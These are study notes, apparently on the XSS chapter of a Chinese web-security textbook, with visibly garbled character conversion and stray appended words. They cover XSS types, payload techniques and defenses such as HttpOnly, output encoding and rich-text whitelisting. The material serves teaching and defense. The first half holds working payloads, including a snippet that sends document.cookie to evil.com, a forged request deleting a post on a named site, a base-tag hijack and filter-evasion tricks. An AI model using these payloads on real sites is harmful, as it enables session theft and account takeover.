第三章:XSS <Cross Site Script>javascript
3.1 XSS簡介php
經過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊<一開始跨域,現在是否跨域已經不重要>html
XSS破壞力強大,且產生的情景複雜,難以一次性解決。如今業內達成的共識是:針對各類不一樣場景產生的XSS,須要區分情景對待。java
XSS分類:反射型XSS、存儲型XSS、DOM Based XSSchrome
反射型XSS:又稱「非持久性XSS」(Non-persistent XSS),只是簡單地把用戶輸入的數據「反射」給瀏覽器。跨域
存儲型XSS:又稱「持久型XSS」,用戶輸入的數據存儲在服務器端,具備很強的穩定性瀏覽器
DOM Based XSS:這種類型並不是按照「數據是否保存在服務器端」來劃分,從效果上來講也是反射型XSS,但其造成緣由較特別。出於歷史緣由,就把他單獨做爲一個分類了。修改頁面的DOM結點造成XSS,故稱之爲DOM Based XSS。安全
3.2 XSS攻擊進階服務器
3.2.1 初探XSS Payloadcookie
XSS Payload其實就是一段Javascript腳本(還能夠是Flash或其餘富客戶端的腳本),因此任何JavaScript腳本能實現的功能,XSS Payload都能作到。一個最多見的XSS Payload,就是經過讀取瀏覽器的Cookie對象,從而發起「Cookie 劫持」攻擊
Example
var img = document.createElement(「img」); img.src = 「http://www.evil.com/log?」+escape(document.cookie); document.body.appendChild(img); |
能夠經過XSS將這段代碼注入到目標頁面中,並在最後將document.cookie對象做爲參數發送到遠程服務器
獲取某個打開的頁面的cookie:在瀏覽器地址欄中輸入:
javascript:alert(document.cookie) |
在當前的WEB中,Cookie通常是用戶登錄的憑證,瀏覽器發起的多有請求都會自動帶上Cookie。若是Cookie沒有綁定客戶端信息,當攻擊者竊取了Cookie後,就能夠不用密碼登錄用戶的帳戶
Cookie的「HttpOnly」標識能夠防止「Cookie劫持」
3.2.2 強大的XSS Payload
Cookie劫持對抗:Set-Cookie時給關鍵字Cookie植入HttpOnly標識、Cookie與IP綁定
3.2.2.1 構造GET與POST請求
GET:
Example Code :刪除文章編號爲156713012的文章,攻擊者只需讓博主執行下面這段JS代碼(XSS Payload)
var img = document.createElement(「img」); img.src = 「http://blog.sohu.com/manage/entry.do?m=delete&id=156713012」; document.body.appendChild(img); |
POST:
方法一:構造form表單並自動提交<構造DOM節點、innerHTML>
方法二:經過XMLHttpRequest發送一個POST請求
攻擊者除了能夠實施Cookie劫持外,還可以經過模擬GET、POST請求操做用戶瀏覽器
3.2.2.2 XSS釣魚
Example 1:驗證碼繞過
對於驗證碼,XSS Payload能夠經過讀取頁面內容,將驗證碼的圖片URL發送到遠程服務器上來實施---攻擊者能夠在遠程XSS後臺接受當前驗證碼,並將驗證碼的值返回給當前XSS Payload,從而繞過驗證碼
Example 2:密碼修改<XSS與釣魚結合>
利用JavaScript在當前頁面上「畫出」一個僞造的登錄框,當用戶在登錄框中輸入用戶名和密碼後,其密碼將被髮送至黑客的服務器
充分發揮想象力,可使得XSS攻擊的威力更加巨大
3.2.2.3 識別用戶瀏覽器
最簡單的辦法:經過XSS讀取瀏覽器的UserAgent對象
javascript:alert(navigator.userAgent) |
可是UserAgent能夠被僞造,好比Firefox有不少擴展能夠屏蔽或自定義瀏覽器發送的UserAgent,因此JS讀取的瀏覽器對象不必定準確
更高級的方法:瀏覽器之間的實現存在差別---不一樣的瀏覽器會各自實現一些獨特的功能,而同一個瀏覽器的不一樣版本之間也可能會有細微的差異,幾乎不會誤報
參考代碼:P54
3.2.2.4 識別用戶安裝的軟件
Example code 1:檢測是否有迅雷控件(XunLeiBHO.ThunderIEHelper)
try{ var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper'); }cactch(e){ //異常了,不存在該控件 } |
Flash的system.capabilities對象,可以查詢客戶端電腦中的硬件信息
Firefox的插件:可經過查詢「navigator.plugins」對象就可獲得全部插件
Firefox的擴展:略複雜經過檢測擴展的圖標來斷定是否存在該擴展<需藉助一個特殊協議:chrome://> Example:檢測Flash Got
var m = new Image(); m.onload = function() { alert(1);//圖片存在 }; m.onerror = function() { alert(2);//圖片不存在 }; m.src = 「chrome://flashgot/skin/icon32.png」;//連接圖片 |
3.2.2.5 CSS History Hack<經過CSS 發現一個用戶曾經訪問過的網站>
原理:利用style的visited屬性---若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變的不同凡響。可是Firefox在2010年3月底修補了這個問題
POC:Proof Of Concept,驗證性測試
3.2.2.6 獲取用戶的真實IP地址
JS自己並無提供獲取本地IP的能力,需藉助第三方軟件,好比JRE,XSS可經過調用JavaApplet的藉口獲取客戶端的本地IP地址
Example code
AttackAPI.dom.getInternalIP = function () { try { var sock = new java.net.Socket(); sock.bind ( new java.net.InetSocketAddress ( '0.0.0.0' , 0) ); sock.connect ( new java.net.InetSocketAddress ( document.domain, ( !document.location.port )?80:document.location.port) ); return sock.getLocalAddress().getHostAddress(); }catch (e) {} return '127.0.0.1'; }; |
另外兩個利用java的代碼見書中P61
3.2.3 XSS攻擊平臺
Attack API<XSS Payload封裝>、BeEF<完整的XSS攻擊過程>、XSS-Proxy<輕量級>
3.2.4 終極武器:XSS Worm
3.2.4.1 Samy Worm
過濾危險HTML標籤,只保留<a>,<img>,<div>等安全標籤 繞過:容許用戶控制標籤的style屬性,可經過style構造出XSS <div style=「background:url('javascript:alert(1)')」> 過濾「javascript」,「onreadystatechange」 繞過:拆分法 return eval (' document.body.inne ' + ' rHTML '); |
3.2.4.2 百度空間蠕蟲
通常來講,用戶之間發生交互行爲的頁面,若是存在存儲型XSS,則比較容易發起XSS Worm攻擊. (好比,發送站內信、用戶留言等頁面,都是XSS的高發區,須要重點關注,若是一個頁面只能由用戶我的查看,好比「我的資料設置」頁面,由於缺少用戶之間的互動功能,因此即便存在XSS,也不能被用於XSS Worm傳播)
3.2.5 調試JavaScript
Firebug , IE 8 Developer Tools , Fiddler , Http Watch
3.2.6 XSS構造技巧
3.2.6.1 利用字符編碼
Example: 百度在一個<script>標籤中輸出了一個變量,其中轉義了雙引號:
var redirectUrl = 「\」;alert(/XSS/);''; //通常來講沒有XSS,由於變量處於雙引號中 |
可是,百度返回頁面採用GBK/GB2312編碼,故「%c1\」這兩個字符組合會成爲一個Unicode字符,在firefox中會認爲這個一個字符,因此構造:
%c1」;alert(/XSS/);// |
3.2.6.2 繞過長度限制
<input type=text value=」$var」> |
XSS構造:
「><script>alert(/xss/)</script>」 |
但願的效果:
<input type=text value=」」><script>alert(/xss/)</script>」/> |
假設長度限制爲20個字節,則這段XSS會被切割爲:
「><script>alert(/xss |
攻擊者利用事件(Event)來縮短所須要的字節數:
「onlick=alert(1)」// |
實際輸出爲:
Input type=text value=」」 onclick=alert(1)//」/> |
但利用「事件」可以縮短的字節數是有限的,最好的辦法是把XSS Payload寫到別處,再經過簡短的代碼加載這段XSS Payload
最經常使用的一個藏代碼的地方就是「location.hash」,不會被記錄到WEB日誌中
location.hash自己沒有長度限制
在某些特殊環境下,利用註釋符繞過長度限制
<input id=1 type=」text」 value=」」> xxxxxxxxxxxxxxxxx <input id=2 type=」text」 value=」」> |
輸入: 第一個框: 「><!-- 第二個框: --><script>alert(/xss/);</script> |
最終效果: <input id=1 type=」text」 value=」」><!--」 /> xxxxxxxxxxxxxxxxxx </input id=2 type=」text」 value=」--><script>alert(/xss/);</script>」 /> |
3.2.6.3 使用<base>標籤
定義頁面上全部使用「相對路徑」標籤的hosting地址
<base>並不是只能用於<head>內,而是能夠出如今頁面任何地方,而且做用於位於該標籤以後的全部標籤
<base href=」http://www.evil.com」> … <script src=」x.js」></script> … <img src=」y.jpg」 /> … <a href=」auth.do」>auth</a> |
在設計xss安全方案時必定要過濾掉該標籤
3.2.6.4 window.name的妙用
對window.name賦值無長度限制,window對象是瀏覽器的窗體,非document對象,故不受同源策略限制。攻擊者利用這個對象能夠實現跨域、跨頁面傳遞數據
www.a.com/test.html代碼 <body> <script> window.name=」test」 alert( document.domain+」 」 + window.name ); window.location=」http://www.b.com/test1.html」; </script> </body> |
<body> <script> alert( document.domain + 「 」 + window.name ); </script> </body> |
縮短XSS Payload長度
<script> window.name = 「alert(document.cookie)」; location.href = 「http://www.xssedsite.com/xssed.php」; </script> |
在同一窗口打開XSS的站點後,只需經過XSS執行如下代碼便可 eval(name); |
其餘技巧請百度:《突破XSS字符數量限制執行任意JS代碼》
3.2.7-變廢爲寶:Mission Impossible
3.2.7.1 Apache Expect Header XSS
服務器出錯時,會把Expect頭的內容未經任何處理便寫入到頁面中,所以Expect頭中的HTML代碼就被瀏覽器解析執行了。-> 使用Flash構造請求。
3.2.7.2 Anehta 的迴旋鏢
反射型XSS也能想存儲型XSS同樣利用:將要利用的XSS嵌入一個存儲型XSS中
思路:若是在B域上存在一個反射型XSS B,在A域上存在一個存儲型XSS_A,當用戶訪問A域上的XSS_A時,同時嵌入B域上的XSS_B則能夠達到在A域的XSS攻擊B域用戶的目的。
3.2.8-容易被忽視的角落:Flash XSS
Flash中嵌入ActionScript腳本,因爲Flash文件如此危險,因此在實現XSS Filter時通常都會禁用<embed>,<object>等標籤
對策:若僅僅是視頻文件,則要求轉碼爲flv文件<靜態>,如果帶動態腳本的flash,則要經過flash的配置進行限制<allowScriptAccess, allowNetworking, XSS過濾>
3.2.9-真的高枕無憂嗎:JavaScript開發框架
Dojo, YUI, JQuery
3.3 XSS的防護
流行的瀏覽器內置了一些對抗XSS的措施,如Firefox的CSP、Noscript擴展,IE8內置的XSS Filter等
3.3.1 四兩撥千金:HttpOnly<在set-Cookie時設置,需給關鍵Cookie都加上HttpOnly>
嚴格講:HttpOnly並不是爲了對抗XSS,它解決的是XSS後的Cookie劫持攻擊;設置以後JavaScript讀取不到Cookie的值
繞過:Apache支持的一個Header是TRACE. TRACE通常用於調試,它會將請求頭做爲Response Body返回。
使用HttpOnly有助於緩解XSS攻擊,但仍然須要其餘可以解決XSS漏洞的方案
3.3.2 輸入檢查
輸入檢測的邏輯,必須放在服務器端代碼中實現。
目前Web開發的廣泛作法,是同時在客戶端JS中和服務端代碼中實現相同的輸入檢查。客戶端JS輸入檢查能夠阻礙大部分誤操做的正經常使用戶,從而節約服務器資源
在XSS的防護上,輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、」等,若是發現存在特殊字符,則將其過濾或者編碼
比較智能的「輸入檢查」,可能還會匹配XSS特徵,好比查找用戶數據中是否包含<script>,javascript等敏感字符。
這種輸入檢查的方式被稱爲XSS Filter
XSS Filter在用戶提交數據時獲取變量,並進行XSS檢查;但此時用戶數據並無結合渲染頁面的HTML代碼,所以XSS Filter對語境的理解並不完整。(惡意JS URL可繞過)
在大多數狀況下,URL是一種合法的用戶數據
XSS Filter還有一個問題----對<,>等字符的處理,可能會改變用戶數據的語義
3.3.3 輸出檢查
通常來講,除了富文本的輸出外,在變量輸出到HTML頁面時,可使用編碼或者轉義的方式來防護XSS
3.3.3.1安全的編碼函數
html: HtmlEncode:字符轉換成HTMLEntities,對應的標準是ISO-8859-1
至少轉換:
& → & |
< → < |
> → > |
「 → " |
' → ' &apos(不推薦) |
/ → / |
Php: htmlentities() , htmlspecialchars()
JavaScript: JavaScriptEncode
JaVaScriptEncode與HtmlEncode的編碼方式不一樣,他須要使用「\」對特殊字符進行轉義。在對抗XSS時,還要求輸出的變量必須在引號內,以免形成安全問題
var x = escapeJavaScript($evil); //若是escapeJavaScript()只轉義幾個危險字符:',」,<,>,\, var y = '」' + escapeJavaScript($evil) + ''''; //&,#等,那麼這兩行代碼輸出後可能會變成以下 |
Var x = 1;alert(2); //執行了額外代碼 var y = 「1;alert(2)」; //安全,若想逃逸出括號範圍,較困難: |
Var y = 「\」;alert(1);\/\/」; |
更加嚴格的JavaScriptEncode:除了數字和字母外的全部字符,都使用十六進制」\xHH」方式編碼 var x = 1;alert(2); → var x = 1x3balert\x282\x29; |
XML: XMLEncode <與HtmlEncode相似>
Json: JSONEncode <與JavascriptEncode相似>
注意:在適當的時候選用適當的函數,編碼後的數據長度可能會發生改變,從而影響某些功能,在寫代碼時須要注意這個細節,以免產生沒必要要的bug
3.3.3.2只須要一種編碼嗎
XSS攻擊主要發生在MVC架構中的view層,大部分的XSS漏洞能夠在模板系統中解決
對於瀏覽器來講,htmlparser會優先於JavaScript Parser執行,因此解析過程是,被HtmlEncode的字符先被解碼,而後執行JavaScript事件
致使XSS攻擊發生的緣由,是因爲沒有分清楚輸出變量的語境
3.3.4 正確防護XSS
XSS的本質仍是一種「HTML注入」,用戶的數據被當成了HTML代碼一部分來執行,從而混淆了本來的語義,產生了新的l語義
XSS可能發生的全部場景
在HTML標籤中輸出 防護:HtmlEncode |
|
<div>$var</div> <a href=# >$var</a> |
<div><script>alert(/xss/)</script></div> <a href=# ><img src=# onerror=alert(1) /></a> |
HTML屬性中輸出 防護:HtmlEncode OWASP ESAPI中推薦一種更嚴格的HtmlEncode--除字母數字外其餘全部特殊字符都被編碼 |
|
<div id=」abc」 name=」$var」 ></div> |
<div id=」abc」 name=」」><script>alert(/xss/)</script><」」></div> |
<script>標籤中輸出 防護:JavascriptEncode |
|
<script> var x = 「$var」; </script> |
<script> var x = 「」;alert(/xss/);//」; </script> |
在事件中輸出 防護:JavascriptEncode |
|
<a href=# onclick=」funcA('$var')」>test</a> |
<a href=# onclick=」funcA('');alert(xss);//')」>test</a> |
在CSS中輸出 防護:推薦OWASP ESAPI中的encodeForCSS() 因此,通常來講,儘量禁止用戶可控的變量在<style>標籤、HTML標籤的style屬性以及CSS文件中輸出 |
|
在地址中輸出 防護:URLEncode 通常來講,在URL的path或者search中輸出 |
|
<a href=」http://www.evil.com/?test=$var」>test</a> |
<a href=」http://www.evil.com/?test=」 onclick=alert(/xss/) 「」>test</a> |
URL的組成:[Protocal][Host][Path][Search][Hash] Protocal和Host部分是不可以使用URLEncode的,不然會改變URL的語義 若URL可以被用戶徹底控制,那麼:可構造僞協議攻擊
<a href=」var」>test</a> → <a href=」javascript:alert(1);」>test</a> |
|
DataURI 可以將一段代碼寫在URL裏,以下: |
|
<a href=」data:text/html;base64,lkdjfaldkjflkjadlfkjalsdkjfkldjfoirejfkjmcnv=」>test</a> 以text/html的格式加載編碼爲base64的數據 對策:檢查變量是否以http開頭 |
3.3.5 處理富文本<用戶提交的一些自定義的HTML代碼>
<script>,<iframe>,<base><form>等,應該被嚴格禁止
標籤選擇上,應該使用白名單,避免使用黑名單。好比,之容許<a>,<img>,<div>等比較安全的標籤存在
儘量禁止用戶自定義CSS與style,若是必定要用,則像過濾富文本同樣過濾CSS
開源項目:Anti-Samy, HTMLPurify
3.3.6 防護DOM Based XSS
DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防護方法都不太適用,須要特別對待
<script> var x = 「var」; document.write(「<a href = '」+x+」'>test</a>」); </script> |
首先,在」$var」輸出到<script>時,應該執行一次JacascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體狀況看待,若是是輸出到事件或者腳本,則需再作一次javascriptEncode;若是是要輸出到HTML內容或者屬性,則要作一次htmlEncode。
也就是說,從javascript輸出到HTML頁面,也至關於一次XSS輸出過程,須要分語境使用不一樣的編碼函數。
會觸發DOM Based XSS的地方不少,一下幾個地方是JavaScript輸出到HTML頁面的必經之路:
Document.write() |
Document.writeln() |
Xxx.innerHTML= |
XXX.outerHTML= |
InnerHTML.replace |
Document.attachEvent() |
Window.attachEvent() |
Document.location.replace() |
Document.location.assign() |
... |
除了上述,一下幾個地方也可能成爲DOM Based XSS的輸入點,須要重點關注
3.3.7 換個角度開xss風險
通常來講,存儲型XSS的風險高於反射型XSS。由於存儲型XSS會保存在服務器上,有可能會跨頁面存在。它不改變頁面URL的原有結構,所以有時候還能逃過一些IDS的檢測。比喻IE8的XSS Filter和firefox的Noscript Extension,都會檢查地址欄中的地址是否包含XSS腳本。而跨頁面的存儲型XSS可能會繞過這些檢測工具。
從攻擊過程來講,反射型XSS,通常要求攻擊者誘使用戶點擊一個包含XSS代碼的URL連接;而存儲型XSS,則只須要讓用戶查看一個正常的URL連接。好比一個Web郵箱的郵件正文頁面存在一個存儲型XSSL漏洞,當用戶打開一封郵件時,XSS Payload會被執行。這樣的漏洞極其隱蔽,且埋伏在用戶的正常業務中,風險頗高。
從風險角度看,用戶之間有互動的頁面,是可能發起XSS Worm攻擊的地方。而根據不一樣頁面的page view高低,也能夠分析出哪些頁面受XSS攻擊後的影響會更大。好比在網站首頁發生的XSS攻擊,確定比網站合做夥伴頁面的XSS攻擊要嚴重的多
在修補XSS漏洞時遇到的醉倒挑戰之一就是漏洞數量太多,所以開發者可能來不及,也不肯意修補這些漏洞。從風險角度從新定位每一個XSS漏洞,就具備了重要的意義
3.4 小結
理論上,XSS漏洞雖然複雜,但卻時能夠完全解決的,在設計XSS解決方案時,應該深刻理解XSS攻擊原理,針對不一樣的場景使用不一樣的方法,同時不少開源項目爲咱們提供了參考